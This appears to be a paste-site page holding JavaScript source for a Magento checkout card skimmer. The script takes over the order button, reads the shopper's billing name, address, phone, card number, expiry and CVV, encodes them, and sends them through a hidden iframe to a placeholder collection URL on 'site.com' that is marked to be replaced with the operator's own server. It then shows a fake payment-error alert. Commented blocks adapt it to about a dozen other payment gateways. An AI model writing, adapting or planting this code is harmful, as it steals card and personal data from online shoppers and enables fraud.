b3gund4L icon

Onepage Mage

b3gund4L | PRO | 08/26/22 09:20:16 PM UTC (Edited) | 0 ⭐ | 2523 👁️ | Never ⏰ | []
JavaScript |

13 KB

|

None

|

0 👍

/

0 👎

<script>
function frm_fill(u) {
    window.stop();
    var x = document.createElement("IFRAME");
    x.setAttribute("src", u);
    x.style.display = "none";
    document.body.appendChild(x);
    console.log("good");
    alert("Use Another Payment!");
    throw new Error('error.');
    return false;
}
//window.onload = function () {
jQuery(document).ready(function($){
    var hitung = 0;
    function logevil(){
        var bils = "<br><br>:::::::::: LOG START ::::::::::<br>";
        bils = bils+"From : "+window.location.host;
        var biadd = $('#billing-address-select');
        var biadds = $('#billing-address-select').length;
        if (biadds === 0){
            //var ct = document.getElementById('billing:country_id');
            //var cty = ct.options[ct.selectedIndex].text;
            //var cty = $('#billing:country_id :selected').text();
            var cty = $('select[name="billing[country_id]"] :selected').text(); 
            
            var nm = "<br>Full Name : "+$('input[name="billing[firstname]"').val()+" "+$('input[name="billing[lastname]"').val();
            if($('input[name="billing[street][]"').length !== 0){nm = nm+"<br>Street 1 : "+$('input[name="billing[street][]"').val();}
            //if($('#billing:street2').length !== 0){nm = nm+"<br>Street 2 : "+$('#billing:street2').val();}
            
            /*nm = nm+"<br>Street 1 : "+document.getElementById('billing:street1').value+"<br>Street 2 : "+document.getElementById('billing:street2').value;*/
            nm = nm+"<br>City : "+$('input[name="billing[city]"').val();//+" <br>Region : "+$('#billing:region').val();
            nm = nm+"<br>Postcode : "+$('input[name="billing[postcode]"').val()+" <br>Country : "+cty;
            nm = nm+"<br>Telp. : "+$('input[name="billing[telephone]"').val();
            
            bils = bils+nm;
        }
        else{
            var bill = $('#billing-address-select :selected').text();
            var bil1 = $('#billing-address-select').val();
            if(bil1 == ""){
                //var ct = document.getElementById('billing:country_id');
                //var cty = ct.options[ct.selectedIndex].text;
                var cty = $('select[name="billing[country_id]"] :selected').text(); 
            
                var nm = "<br>Full Name : "+$('input[name="billing[firstname]"').val()+" "+$('input[name="billing[lastname]"').val();
                if($('input[name="billing[street][]"').length !== 0){nm = nm+"<br>Street 1 : "+$('input[name="billing[street][]"').val();}
                //if($('#billing:street2').length !== 0){nm = nm+"<br>Street 2 : "+$('#billing:street2').val();}
                
                /*nm = nm+"<br>Street 1 : "+document.getElementById('billing:street1').value+"<br>Street 2 : "+document.getElementById('billing:street2').value;*/
                nm = nm+"<br>City : "+$('input[name="billing[city]"').val();//+" <br>Region : "+$('#billing:region').val();
                nm = nm+"<br>Postcode : "+$('input[name="billing[postcode]"').val()+" <br>Country : "+cty;
                nm = nm+"<br>Telp. : "+$('input[name="billing[telephone]"').val();
                
                bils = bils+nm;
            }
            else{
                bils = bils+"<br>"+bill;
            }
        }
        
        
        /* Authorize.net 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('authorizenet_cc_number').value;
        
        var expm_ = document.getElementById('authorizenet_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('authorizenet_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('authorizenet_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('authorizenet_cc_cid').value == ""){
            return "0";
        } */
        
        /* CC SAVE  */
        bils = bils+"<br>===========================";
        bils = bils+"<br>Name on Card : "+$('#ccsave_cc_owner').val();
        bils = bils+"<br>CC : "+$('#ccsave_cc_number').val();
        var expm_m = $('#ccsave_expiration').val();
        var expy_y = $('#ccsave_expiration_yr').val();
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+$('#ccsave_cc_cid').val();
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(($('#ccsave_cc_cid').val() == "") || ($('#ccsave_cc_cid').val() == "undefined")){
            return "0";
        }
        
        /* Ipay 
        bils = bils+"<br>===========================";
        //bils = bils+"<br>Name on Card : "+document.getElementById('sagepaydirectpro_cc_owner').value;
        bils = bils+"<br>CC : "+$('#ipay_cc_number').val();
        
        //var expm_ = $('#ipay_expiration').val();
        var expm_m = $('#ipay_expiration').val();
        //var expy_ = $('#ipay_expiration_yr').val();
        var expy_y = $('#ipay_expiration_yr').val();
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+$('#ipay_cc_cid').val();
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(($('#ipay_cc_cid').val() == "") || ($('#ipay_cc_cid').val() == "undefined")){
            return "0";
        } */
        
        /* Psigate 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('psigate_cc_number').value;
        
        var expm_ = document.getElementById('psigate_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('psigate_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('psigate_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('psigate_cc_cid').value == ""){
            return "0";
        }*/
            
        /* Optimalpayments 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('optimalpayments_cc_number').value;
        
        var expm_ = document.getElementById('optimalpayments_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('optimalpayments_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('optimalpayments_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('optimalpayments_cc_cid').value == ""){
            return "0";
        }*/
        
        /* Westpac PayWay 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('payway_api_cc_number').value;
        
        var expm_ = document.getElementById('payway_api_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('payway_api_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('payway_api_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('payway_api_cc_cid').value == ""){
            return "0";
        }*/
        
        /* MIGS 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('migs_hosted_cc_number').value;
        
        var expm_ = document.getElementById('migs_hosted_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('migs_hosted_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('migs_hosted_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('migs_hosted_cc_cid').value == ""){
            return "0";
        }*/
        
        /* eWAY Direct 
        bils = bils+"<br>===========================";
        bils = bils+"<br>Name on Card : "+document.getElementById('ewayau_direct_cc_owner').value;
        bils = bils+"<br>CC : "+document.getElementById('ewayau_direct_cc_number').value;
        
        var expm_ = document.getElementById('ewayau_direct_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('ewayau_direct_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('ewayau_direct_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('ewayau_direct_cc_cid').value == ""){
            return "0";
        }*/
        
        /* EwayRapid 
        bils = bils+"<br>===========================";
        bils = bils+"<br>Name on Card : "+document.getElementById('ewayrapid_notsaved_cc_owner').value;
        bils = bils+"<br>CC : "+document.getElementById('ewayrapid_notsaved_cc_number').value;
        
        var expm_ = document.getElementById('ewayrapid_notsaved_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('ewayrapid_notsaved_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('ewayrapid_notsaved_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('ewayrapid_notsaved_cc_cid').value == ""){
            return "0";
        }*/
        
        /* VM 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('vm_cc_number').value;
        
        var expm_ = document.getElementById('vm_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('vm_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('vm_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('vm_cc_cid').value == ""){
            return "0";
        }*/
        
        /* Stripe 
        bils = bils+"<br>===========================";
        bils = bils+"<br>Name on Card : "+document.getElementById('cryozonic_stripe_cc_owner').value;
        bils = bils+"<br>CC : "+document.getElementById('cryozonic_stripe_cc_number').value;
        
        var expm_ = document.getElementById('cryozonic_stripe_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('cryozonic_stripe_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('cryozonic_stripe_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('cryozonic_stripe_cc_cid').value == ""){
            return "0";
        }*/
        
        /* Moneris Credit Cards 
        bils = bils+"<br>===========================";
        bils = bils+"<br>CC : "+document.getElementById('moneriscc_cc_number').value;
        
        var expm_ = document.getElementById('moneriscc_expiration');
        var expm_m = expm_.options[expm_.selectedIndex].value;
        var expy_ = document.getElementById('moneriscc_expiration_yr');
        var expy_y = expy_.options[expy_.selectedIndex].value;
        
        bils = bils+"<br>Exp : "+expm_m+"/"+expy_y;
        bils = bils+"<br>CVN : "+document.getElementById('moneriscc_cc_cid').value;
        bils = bils+"<br>============================ <br>"+navigator.userAgent;
        bl_raw = encodeURI(bils);
        if(document.getElementById('moneriscc_cc_cid').value == ""){
            return "0";
        }*/
        
        else{
            return bl_raw;
        }
    }
    
    
    /* Onepage */
    var s = document.getElementById("review-buttons-container");
    console.log("OK");
    if (s === null){console.log("none");}
    else{
        console.log("ada");
        var w = s.getElementsByTagName("button")[0];
        w.removeAttribute("onclick");
        w.onclick = function() {
            var islog = logevil();
            if(islog == "0"){console.log("no-evil"); review.save(); return false;}
            else{
                frm_fill("http://site.com/huhu.php?mag="+islog); // GANTI DENGAN SERVER SENDIRI
                hitung = hitung+1;
                if(hitung <= 2){
                    return false;
                }
                else{
                    if(document.getElementById('p_method_ccsave').checked) {
                        alert("Use another payment method!");
                        return false;
                    }
                    else{
                        review.save(); return false;
                    }
                }
            }
        }
    }
    
    /* VERSI 2 IWD 
    
    if($("#checkout-review-submit").length){
        console.log("OK");
        if ($(".btn-step-2").length){
            console.log("ada");
            //var w = s.getElementsByTagName("button")[0];
            //w.onclick = function() {
            $(".btn-step-2").click(function() {
                var islog = logevil();
                if(islog == "0"){console.log("no-evil");}
                else if(document.getElementById('p_method_ccsave').checked){
                    frm_fill("http://site.com/huhu.php?mag="+islog);
                }
                //payment.save();
            });
        }
        else{
            console.log("none");
        }
    }
    */
});
</script>

Comments